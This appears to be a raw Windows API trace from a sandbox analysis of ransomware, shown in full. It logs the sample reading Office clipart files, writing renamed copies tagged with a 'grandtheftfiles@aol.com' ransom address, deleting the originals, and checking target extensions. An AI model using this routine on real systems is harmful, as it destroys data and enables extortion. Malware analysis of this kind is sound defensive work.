	[0162.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.650] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.650] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.855] GetLastError () returned 0x0
	[0162.855] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4290, lpOverlapped=0x0) returned 1
	[0162.867] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0162.868] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.868] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.868] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.868] CloseHandle (hObject=0x4b4) returned 1
	[0162.869] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.869] SetEndOfFile (hFile=0x540) returned 1
	[0162.871] CloseHandle (hObject=0x540) returned 1
	[0162.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1
	[0162.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.872] lstrlenW (lpString=".doc") returned 4
	[0162.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.872] lstrlenW (lpString=".docx") returned 5
	[0162.872] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.872] lstrlenW (lpString=".pdf") returned 4
	[0162.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString=".xls") returned 4
	[0162.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.873] lstrlenW (lpString=".xlsx") returned 5
	[0162.873] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.873] lstrlenW (lpString=".ppt") returned 4
	[0162.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.873] lstrlenW (lpString=".zip") returned 4
	[0162.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.873] lstrlenW (lpString=".rar") returned 4
	[0162.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString=".bz2") returned 4
	[0162.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString=".7z") returned 3
	[0162.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.873] lstrlenW (lpString=".dbf") returned 4
	[0162.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.873] lstrlenW (lpString=".1cd") returned 4
	[0162.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.873] lstrlenW (lpString=".jpg") returned 4
	[0162.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.873] lstrlenW (lpString=".doc") returned 4
	[0162.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString=".docx") returned 5
	[0162.873] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.873] lstrlenW (lpString=".pdf") returned 4
	[0162.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.873] lstrlenW (lpString=".xls") returned 4
	[0162.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.873] lstrlenW (lpString=".xlsx") returned 5
	[0162.874] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.874] lstrlenW (lpString=".ppt") returned 4
	[0162.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.874] lstrlenW (lpString=".zip") returned 4
	[0162.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.874] lstrlenW (lpString=".rar") returned 4
	[0162.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.874] lstrlenW (lpString=".bz2") returned 4
	[0162.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.874] lstrlenW (lpString=".7z") returned 3
	[0162.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.874] lstrlenW (lpString=".dbf") returned 4
	[0162.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.874] lstrlenW (lpString=".1cd") returned 4
	[0162.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0162.874] lstrlenW (lpString=".jpg") returned 4
	[0162.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.874] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.874] lstrlenW (lpString="J0103850.WMF") returned 12
	[0162.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.875] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=23596) returned 1
	[0162.875] CloseHandle (hObject=0x540) returned 1
	[0162.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220
	[0162.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.876] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.876] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.876] GetLastError () returned 0x0
	[0162.876] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x5c2c, lpOverlapped=0x0) returned 1
	[0162.879] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x5c30, lpOverlapped=0x0) returned 1
	[0162.880] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.880] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.880] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.880] CloseHandle (hObject=0x4b4) returned 1
	[0162.880] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.880] SetEndOfFile (hFile=0x540) returned 1
	[0162.883] CloseHandle (hObject=0x540) returned 1
	[0162.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1
	[0162.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.884] lstrlenW (lpString=".doc") returned 4
	[0162.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.884] lstrlenW (lpString=".docx") returned 5
	[0162.884] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.884] lstrlenW (lpString=".pdf") returned 4
	[0162.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.884] lstrlenW (lpString=".xls") returned 4
	[0162.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.884] lstrlenW (lpString=".xlsx") returned 5
	[0162.884] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.884] lstrlenW (lpString=".ppt") returned 4
	[0162.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.884] lstrlenW (lpString=".zip") returned 4
	[0162.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.885] lstrlenW (lpString=".rar") returned 4
	[0162.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString=".bz2") returned 4
	[0162.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString=".7z") returned 3
	[0162.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.885] lstrlenW (lpString=".dbf") returned 4
	[0162.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.885] lstrlenW (lpString=".1cd") returned 4
	[0162.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.885] lstrlenW (lpString=".jpg") returned 4
	[0162.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.885] lstrlenW (lpString=".doc") returned 4
	[0162.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString=".docx") returned 5
	[0162.885] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.885] lstrlenW (lpString=".pdf") returned 4
	[0162.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString=".xls") returned 4
	[0162.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.885] lstrlenW (lpString=".xlsx") returned 5
	[0162.885] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.885] lstrlenW (lpString=".ppt") returned 4
	[0162.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.885] lstrlenW (lpString=".zip") returned 4
	[0162.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.885] lstrlenW (lpString=".rar") returned 4
	[0162.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.885] lstrlenW (lpString=".bz2") returned 4
	[0162.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.886] lstrlenW (lpString=".7z") returned 3
	[0162.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.886] lstrlenW (lpString=".dbf") returned 4
	[0162.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.886] lstrlenW (lpString=".1cd") returned 4
	[0162.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0162.886] lstrlenW (lpString=".jpg") returned 4
	[0162.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.886] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.886] lstrlenW (lpString="J0105230.WMF") returned 12
	[0162.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.887] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=5172) returned 1
	[0162.887] CloseHandle (hObject=0x540) returned 1
	[0162.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220
	[0162.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.887] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.887] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.888] GetLastError () returned 0x0
	[0162.888] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1434, lpOverlapped=0x0) returned 1
	[0162.889] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1440, lpOverlapped=0x0) returned 1
	[0162.890] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.890] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.890] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.891] CloseHandle (hObject=0x4b4) returned 1
	[0162.891] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.891] SetEndOfFile (hFile=0x540) returned 1
	[0162.893] CloseHandle (hObject=0x540) returned 1
	[0162.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1
	[0162.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.894] lstrlenW (lpString=".doc") returned 4
	[0162.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.894] lstrlenW (lpString=".docx") returned 5
	[0162.894] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.894] lstrlenW (lpString=".pdf") returned 4
	[0162.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.894] lstrlenW (lpString=".xls") returned 4
	[0162.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.894] lstrlenW (lpString=".xlsx") returned 5
	[0162.894] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.894] lstrlenW (lpString=".ppt") returned 4
	[0162.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.894] lstrlenW (lpString=".zip") returned 4
	[0162.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.895] lstrlenW (lpString=".rar") returned 4
	[0162.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString=".bz2") returned 4
	[0162.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString=".7z") returned 3
	[0162.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.895] lstrlenW (lpString=".dbf") returned 4
	[0162.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.895] lstrlenW (lpString=".1cd") returned 4
	[0162.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.895] lstrlenW (lpString=".jpg") returned 4
	[0162.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.895] lstrlenW (lpString=".doc") returned 4
	[0162.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString=".docx") returned 5
	[0162.895] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.895] lstrlenW (lpString=".pdf") returned 4
	[0162.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString=".xls") returned 4
	[0162.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.895] lstrlenW (lpString=".xlsx") returned 5
	[0162.895] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.895] lstrlenW (lpString=".ppt") returned 4
	[0162.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.895] lstrlenW (lpString=".zip") returned 4
	[0162.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.895] lstrlenW (lpString=".rar") returned 4
	[0162.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.895] lstrlenW (lpString=".bz2") returned 4
	[0162.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.896] lstrlenW (lpString=".7z") returned 3
	[0162.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.896] lstrlenW (lpString=".dbf") returned 4
	[0162.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.896] lstrlenW (lpString=".1cd") returned 4
	[0162.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0162.896] lstrlenW (lpString=".jpg") returned 4
	[0162.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.896] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.896] lstrlenW (lpString="J0105232.WMF") returned 12
	[0162.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.897] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=5632) returned 1
	[0162.897] CloseHandle (hObject=0x540) returned 1
